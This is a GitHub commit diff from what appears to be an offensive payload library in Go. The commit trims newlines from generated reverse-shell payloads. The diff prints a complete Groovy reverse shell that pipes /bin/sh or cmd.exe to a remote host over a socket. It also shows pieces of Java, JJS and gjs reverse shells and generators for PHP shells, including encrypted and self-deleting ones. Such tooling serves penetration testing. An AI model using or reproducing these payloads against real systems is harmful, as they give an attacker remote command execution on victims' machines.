Skip to content

Commit f4c75ab

Browse files
committed
Add back EOF newline and replace it with trim in payloads
1 parent 781ce65 commit f4c75ab

File tree

12 files changed

+24
-19
lines changed

12 files changed

+24
-19
lines changed

payload/reverse/gjscript.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package reverse
33
import (
44
_ "embed"
55
"fmt"
6+
"strings"
67
)
78

89
//go:embed gjscript/glib_spawn.gjs
@@ -11,11 +12,11 @@ var GJScriptDefault = GJScriptGLibSpawn
1112

1213
// Generates Gnome JS payload.
1314
func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
14-
return fmt.Sprintf(GJScriptDefault, lhost, lport)
15+
return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n")
1516
}
1617

1718
// Generates a script that can be used to create a reverse shell via
1819
// gjs (Gnome JS - present on Ubuntu, Debian by default).
1920
func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {
20-
return fmt.Sprintf(GJScriptGLibSpawn, lhost, lport)
21+
return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n")
2122
}

payload/reverse/gjscript/glib_spawn.gjs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,4 @@ try {
1212
output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
1313
}
1414
} catch (e) {
15-
}
15+
}

payload/reverse/groovy.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package reverse
33
import (
44
_ "embed"
55
"fmt"
6+
"strings"
67
)
78

89
var (
@@ -12,10 +13,10 @@ var (
1213
)
1314

1415
func (groovy *GroovyPayload) Default(lhost string, lport int) string {
15-
return groovy.GroovyClassic(lhost, lport)
16+
return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n")
1617
}
1718

1819
// A short payload that creates a reverse shell using /bin/sh -i.
1920
func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string {
20-
return fmt.Sprintf(GroovyClassic, lhost, lport)
21+
return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n")
2122
}

payload/reverse/groovy/classic.groovy

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
1+
shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

payload/reverse/java.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package reverse
33
import (
44
_ "embed"
55
"fmt"
6+
"strings"
67
)
78

89
var (
@@ -13,11 +14,11 @@ var (
1314

1415
// Defaults to the UnflattenedJava payload.
1516
func (java *JavaPayload) Default(lhost string, lport int) string {
16-
return java.UnflattenedJava(lhost, lport)
17+
return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n")
1718
}
1819

1920
// An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out
2021
// the shell using ProcessBuilder and then redirects input/output to/from the sockets.
2122
func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {
22-
return fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport)
23+
return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n")
2324
}

payload/reverse/java/process_builder.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,4 +19,4 @@
1919
} catch (Exception e) {}
2020
};
2121
p.destroy();
22-
s.close();
22+
s.close();

payload/reverse/jjs.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package reverse
33
import (
44
_ "embed"
55
"fmt"
6+
"strings"
67
)
78

89
var (
@@ -25,9 +26,9 @@ var (
2526
func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string {
2627
var script string
2728
if ssl {
28-
script = fmt.Sprintf(JJSShellSSL, lhost, lport)
29+
script = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), "\r\n")
2930
} else {
30-
script = fmt.Sprintf(JJSShell, lhost, lport)
31+
script = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), "\r\n")
3132
}
3233

3334
return script

payload/reverse/jjs/reverse_shell.jjs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,4 +28,4 @@ while (!s.isClosed()) {
2828
}
2929

3030
p.destroy();
31-
s.close();
31+
s.close();

payload/reverse/jjs/reverse_shell_ssl.jjs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,4 +42,4 @@ while (!s.isClosed()) {
4242
}
4343

4444
p.destroy();
45-
s.close();
45+
s.close();

payload/reverse/php.go

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package reverse
33
import (
44
_ "embed"
55
"fmt"
6+
"strings"
67
)
78

89
var (
@@ -16,12 +17,12 @@ var (
1617
)
1718

1819
func (php *PHPPayload) Default(lhost string, lport int) string {
19-
return php.LinuxInteractive(lhost, lport)
20+
return strings.Trim(php.LinuxInteractive(lhost, lport), "\r\n")
2021
}
2122

2223
// A short payload that creates a reverse shell using /bin/sh -i.
2324
func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
24-
return fmt.Sprintf(PHPDefault, lhost, lport)
25+
return strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), "\r\n")
2526
}
2627

2728
// Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and
@@ -35,7 +36,7 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri
3536
hostname = "tls://" + hostname
3637
}
3738

38-
return fmt.Sprintf(PHPUnflattened, hostname)
39+
return strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), "\r\n")
3940
}
4041

4142
// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete
@@ -46,5 +47,5 @@ func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted
4647
hostname = "tls://" + hostname
4748
}
4849

49-
return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname)
50+
return strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), "\r\n")
5051
}

0 commit comments

Comments
 (0)